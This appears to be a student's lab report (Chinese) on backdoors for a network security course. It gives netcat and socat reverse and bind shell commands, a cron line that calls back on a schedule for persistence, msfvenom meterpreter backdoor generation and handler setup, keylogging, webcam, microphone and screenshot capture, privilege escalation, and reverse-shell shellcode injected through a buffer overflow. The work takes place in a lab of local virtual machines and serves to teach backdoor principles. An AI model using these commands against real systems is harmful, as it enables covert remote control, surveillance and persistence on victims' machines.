2020-2021-2 网络对抗技术 20181318 Exp2 后门原理与实践

一、实验目标

通过使用netcat、socat获取主机操作Shell,以及MSF meterpreter的应用,深入了解后门的原理以及危害,进而提高自己的安全意识。

二、熟悉基本工具

1. NC或ncat

  • NC也叫作netcat或ncat,是一个底层工具,进行基本的TCP UDP数据收发。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它常被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

  • NC 的基础用法介绍
    -u 使用udp连接(不适用-u的话默认是使用tcp连接)
    -v 输出详细的连接产生的日志
    -n 不解析域名
    -l 绑定并侦听传入的连接(一般用于服务端)
    -c 通过/bin/sh 执行客户端参数过来的指令(通常使用方法为 -c bash)
    -w 设置连接超时时间

  • Win获得Linux shell

    • win主机输入ipconfig查看本机地址

    • win主机运行监听指令 ncat.exe -l -p 1318

    • Linux反弹连接win主机 nc 192.168.56.1 1318 -e /bin/sh

  • 连接成功,win成功获得Linux的shell

  • Linux获得Win Shell

    1. Linux运行监听指令

      • 首先查看kali虚拟机的ip地址

    • 运行监听指令nc -l -p 1318
    1. Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.174.129 1318
    2. Linux下看到Windows的命令提示
  • 使用nc传输数据和文件

    1. 传输数据

      • Windows下监听1318端口,ncat.exe -l 1318
      • kali反弹连接到Windows的1318端口,nc 192.168.56.1 1318
      • 连接建立成功,双方可以相互传输数据

    1. 传输文件

      Linux向win传输文件

      • Windows下监听1318端口,并把接收到的数据保存到file1.out中,ncat.exe -l 1318 > file1.out

      • kali反弹连接到Windows的1318端口,并将file1.in文件传送过去。nc 192.168.56.1 1318 < file1.in

      • 连接建立成功,Win可以收到kali发来的文件。

      win向Linux传输文件

      • Linux下监听1318端口,并将接收到的数据保存到文件file1.txt中,nc -l -p 1318 > file1.txt

      • win反弹连接到Linux的1318端口,并将file1.txt传过去。ncat.exe 192.168.174.129 1318 < file1.txt

      • 连接建立成功,文件传输成功。

2. socat

  • socat又称Netcat++,超级netcat工具,是nc的加强版
  • 任何代理、转发等功能都可以用该工具实现socat是ncat的增强版
  • 它的使用格式是。socat [options] <address> <address>其中两个address是必选项,而options 是可选项。address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据。

3. cron

  • cron 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
  • 由于Cron 是Linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
    /sbin/service crond start //启动服务
    /sbin/service crond stop //关闭服务
  • cron服务提供crontab命令来设定cron服务的,以下是一些常用的命令说明:
    crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
    crontab -l //列出某个用户cron服务的详细内容
    crontab -e //编辑某个用户的cron服务

注意:在第一次进行编辑时,会提醒我们选择编辑器,在这里我们选择3——vim

  • cron 的主配置文件是 /etc/crontab,文件中的每一行都代表一项任务,它的格式是:* * * * * command
    这个格式的前一部分是对时间的设定,后面一部分是要执行的命令,如果要执行的命令太多,可以把这些命令写到一个脚本里面,然后在这里直接调用这个脚本就可以了,调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定,前面五个*号代表五个数字,数字的取值范围和含义如下:
    • minute — 分钟,从 0 到 59 之间的任何整数
    • hour — 小时,从 0 到 23 之间的任何整数
    • day — 日期,从 1 到 31 之间的任何整数(如果指定了月份,必须是该月份的有效日期)
    • month — 月份,从 1 到 12 之间的任何整数(或使用月份的英文简写如 jan、feb 等等)
    • dayofweek — 星期,从 0 到 7 之间的任何整数,这里的 0 或 7 代表星期日(或使用星期的英文简写如 sun、mon 等等)

除了数字还可以使用如下几个特殊的符号:*:取值范围内的所有数字;/:每过多少个数字;-:从某个数字到某个数字;,:分开几个离散的数字

4. Meterpreter

  • Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。

  • Meterpreter优点

    • 纯内存工作模式,不需要对磁盘进行任何写入操作
    • 使用加密通信协议,而且可以同时与几个信道通信
    • 在被攻击进程内工作,不需要创建新的进程
    • 易于在多进程之间迁移
    • 平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台
  • Meterpreter基本用法

    • 在获得系统的Meterpreter会话之后,可以通过输入help查看帮助手册

    • 生成基于TCP的反向链接反弹shell

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=XXX -f exe > meter_backdoor.exe

      参数说明:

      • -p 使用的payload(有效载荷),就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
      • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      • -e 使用的编码器,用于对shellcode变形,为了免杀。
      • -i 编码器的迭代次数。
      • -b badchar是payload中需要去除的字符。
      • LHOST 是反弹回连的IP
      • LPORT 是回连的端口
      • -f 生成文件的类型
    • 查看Meterpreter Shell的进程号:getpid

    • 获取运行Meterpreter会话的用户名:getuid

    • 获取系统信息:sysinfo

    • 对当前用户进行提权:getsystem

    • 获取目标机正在运行的进程:ps

    • 将当前的session放到后台运行,可以在msf中继续其他的渗透任务:background

    • 查看已经成功获取的会话:sessions

      • sessions -i ID:连接到执行ID的meterpreter会话已继续利用
    • 在目标机中执行文件或程序:execute

    • 在目标机中下载文件:download 目标文件路径 本地路径

    • 在目标机中上传文件:upload 源文件路径 目的文件路径

三、基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    (1)从非官网下载软件后,安装时会附带很多捆绑软件,这其中可能就有后门程序。

    (2)网页挂马。点击某网页后,攻击者的代码被执行,然后下载并运行某木马程序,进而系统被植入后门。

    (3)社会工程学攻击。一个熟人给我们一个u盘(有恶意程序),当我们插入U盘时,电脑就被植入后门了。

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    Windows

    • 修改注册表项,实现开机自启动。
    • 在任务计划中创建新任务,定时启动后门。
    • 安装为服务(服务大多为自启动)
    • 后门植入正常程序,当我们执行该程序时,后门也被启动。
    • 与文件捆绑,当打开文件时,后门也执行。

    Linux

    • 使用cron,将后门设置为定时启动。
    • 反弹式连接到恶意主机,进而被恶意控制,启动后门。
    • 添加各种启动脚本。
    • 与其他文件捆绑。
  3. Meterpreter有哪些给你映像深刻的功能?

    • 可以获得目标机的shell,获取目标机的摄像头、音频、键盘记录、截图等。
    • 可以对当前用户进行提权。
    • 可以在目标机上上传/下载文件,执行程序。
  4. 如何发现自己有系统有没有被安装后门?

    • 检查注册表,查看是否有异常的自启动项。
    • 利用杀毒软件对计算机进行实时监控、检测。
    • 使用netstat命令查看是否有异常端口打开。

四、实验内容

任务一:使用netcat获取主机操作Shell,cron启动。

  1. windows 打开监听
  • 首先使用ipconfig获得主机的地址

  • 然后使用ncat.exe程序打开监听,我们设置监听端口为1318,输入ncat.exe -l -p 1318

  1. 使用cron添加命令,使得Linux反弹连接
  • 在kali虚拟机内执行crontab -e,在文件的最末尾添加5 * * * * /bin/netcat 192.168.56.1 1318 -e /bin/sh,意思是在每个小时的第5分钟反向连接Windows主机的1318端口

  • 每个小时的第5分钟,添加的那条指令就会执行,也就是说我们在Windows的命令行中可以获得Linux的shell,执行相关指令

任务二:使用socat获取主机操作Shell, 任务计划启动。

  1. 在Windows中创建socat连接任务
  • 打开“计算机管理”,点击“任务计划程序”的“创建任务”,输入任务名称exp2
  • 选择触发器,新建一个,选择开始任务为:工作站锁定时
  • 选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1318,同时把cmd.exe的stderr重定向到stdout上。
  • 此时任务创建完成,可以看到它处于准备就绪状态。右击选择运行。
  1. 在Linux中利用socat连接被控主机(Windows),获取shell
  • 在Kali中输入指令socat - tcp:192.168.56.1:1318,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

  1. 在kali虚拟机上执行代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f exe > 20181318_backdoor.exe,生成后门程序20181318_backdoor.exe。注意:这里LHOST的地址为kali机的地址。

  2. 使用nc将此后门程序传给Windows主机

    • Windows主机在ncat文件夹下执行ncat.exe -lv 1318 > 20181318_backdoor.exe,接收文件。-lv参数可以看到当前的连接状态。

    • 在kali机中执行nc 192.168.56.1 1318 < 20181318_backdoor.exe,发送文件。注意:此处的ip地址为Windows主机的ip。发送成功,连接状态如下图所示:

  1. 在Kali机上使用msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler进入handler

  • 输入set payload windows/meterpreter/reverse_tcp设置连接(playload)

  • 输入set LHOST 192.168.174.129设置ip地址(Linux地址)

  • 输入set LPORT 1318设置端口号

  • 输入show options再次查看设置是否正确

  • 输入exploit打开监听

  • 说明:

    • LHOST需要和上一步生成20181318_backdoor.exe的一致,本例中即192.168.174.129;
    • LPORT也需要和上一步生成20181318_backdoor.exe的一致,即1318;
    • payload也要一致,即windows/meterpreter/reverse_tcp。

  1. 在Windows上双击20181318_backdoor.exe

    • 此时kali机获得win主机的反弹连接,并且获得了远程控制shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

  1. 获取音频

    在meterpreter中输入record_mic指令可以截获一段音频。-d选项可以设置录制时间。

第2个音频设置了时间为10s。

  1. 获取摄像头

    输入webcam_snap指令可以使用摄像头进行拍照

  1. 获取键盘记录

    使用keyscan_start指令开始记录下击键的过程

    使用keyscan_dump指令读取击键的记录

我在记事本中打印hello world!,在输入过程中,不小心输成了word,可以看到修改的过程也被清楚的记录下来。

  1. 获取截屏

    使用screenshot指令可以进行截屏

  1. 提权

    首先使用getuid指令查看当前用户

    使用getsystem指令进行提权

从图中可以看到,提权失败。在讨论区看到老师的回答是:系统在不断的更新,所以旧的提权模块用不了是正常的。看到同学给出的解答是将后门程序的名字修改为install.exe即可提权,尝试后发现确实如此。截图如下:

此时我发现,重命名前后,文件的图标发生了变化,多了一个管理员权限的标志。这是不是说明如果将后门程序的权限提到足够高,就算不重命名也可以提权呢?尝试结果如下:

发现,提权成功!

具体修改程序权限的步骤请看链接https://jingyan.baidu.com/article/0f5fb0990b14086d8234ea5c.html

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

  1. https://www.exploit-db.com/shellcodes网站上下载一份linux/x86平台的,反弹连接的shellcode。

    我们需要使用的code如下:

按照实验1中的方法找到这段code的地址为0xffffd130

  1. 使用perl生成shellcode

    perl -e 'print "A" x 32;print"x30xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_2

  2. MSF打开监听

    use exploit/multi/handler

    set payload linux/x86/shell_reverse_tcp

    set LHOST 127.0.0.1

    set LPORT 4444

此处设置的LHOST与LPORT均是按照我们下载的shellcode文件的要求进行设置的。

  1. 新打开一个终端,运行运行注入shellcode后的pwn18。控制成功,获得kali机的sh

参考学姐的博客时,发现msf可以自己根据程序生成可执行的后门。所以接下来采用此方法注入shellcode,获取反弹连接shell。

  1. 使用MSF生成与pwn1绑定的后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -x pwn1 -f elf > pwntest

    注意:-f 后面加上elf是因为pwn1的格式为elf

  2. MSF进入监听模式(步骤同任务三)
    use exploit/multi/handler

    set payload linux/x86/meterpreter/reverse_tcp

    set LHOST 127.0.0.1

    set LPORT 4444

  3. 在新的终端运行我们生成的pwntest

此时会发现权限不够。输入命令chmod +x pwntest将其修改为可执行文件。

  1. 再次运行pwntest,发现成功获得反弹连接shell

以下是符合老师要求的,用msf设置payload生成shellcode,然后注入pwn文件。

  1. 使用MSF生成shellcode
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f c
    image
  2. 按照实验一的做法去查找本段shellcode的地址(注意一定要关闭地址随机化)
    image

可以得到code的地址为0xffffd130
3. 使用perl生成shellcode
perl -e 'print "A" x 32;print"x30xd1xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xaex81x68x02x00x05x26x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80"' > input1

  1. MSF打开监听

use exploit/multi/handler

set payload linux/x86/shell_reverse_tcp

set LHOST 192.168.174.129

set LPORT 1318

show options

exploit

  1. 注入shellcode到pwn文件中,成功获取shell

(cat input1318;cat) | pwn18

五、问题及解决

  1. 在任务一中,向Windows主机传输后门程序时,发现只传输过来了一个快捷方式。

原因:Windows主机的杀软没有关闭,他将我们传递过来的后门程序自动拦截删除了。

解决:关闭所有杀软和防火墙。

  1. 在任务二中,使用socat获取主机shell时,出现连接失败的错误。

原因:任务计划创建后处于准备就绪的状态。

解决:右击此任务,运行即可。

  1. 在将文件从win传到Linux时,提示报错:目标计算机积极拒绝,无法连接

原因:应该先在Linux中输入指令nc -l -p 1318 < file1.txt;然后再执行win中的命令。

  1. 在做任务五时,MSF开启监听,另一个终端注入shellcode运行pwn1后,没有反应。

原因:地址随机化未关闭,执行时shellcode的地址和我们用gdb反向查找时的地址已经不一样了,所以注入失败。
解决:关闭pwn1的地址随机化。

六、实验感想

本次实验,通过ncat、socat、MSF meterpreter软件的使用,让我对后门有了一定的理解。后门也是一个程序,只不过这个程序相对于普通的程序来说比较赖皮,它可以嵌入到正常的程序中,获取控制权,进而做一些恶意行为。实验中的每一个任务,都让我亲身体会到了后门带给系统的危险。通过实验,感觉获取别人主机的shell似乎是so easy了,没想到之前在电影里看到的那些获取键盘记录、抓拍、录音等功能也都能通过后门来实现。任务四的最后一个提权,让我深刻的感受到网络啊中的危险不仅可以来自于外部,系统自身的漏洞也不可忽视。所以说尽管电脑上安装了杀软、开启了防火墙,但是这并不代表我们的计算机就是百分百的安全,所以我们一定要提高自己的安全意识,学习一些基础的防范措施,以备不时之需。

这次实验让我了解了后门的基本原理,后续的免杀等实验一定会更有意思,也能带领我学到更多有关网络攻防的知识,我也会更加认真的做后续的相关实验的!

原文地址:https://www.cnblogs.com/jjy-666/p/14567417.html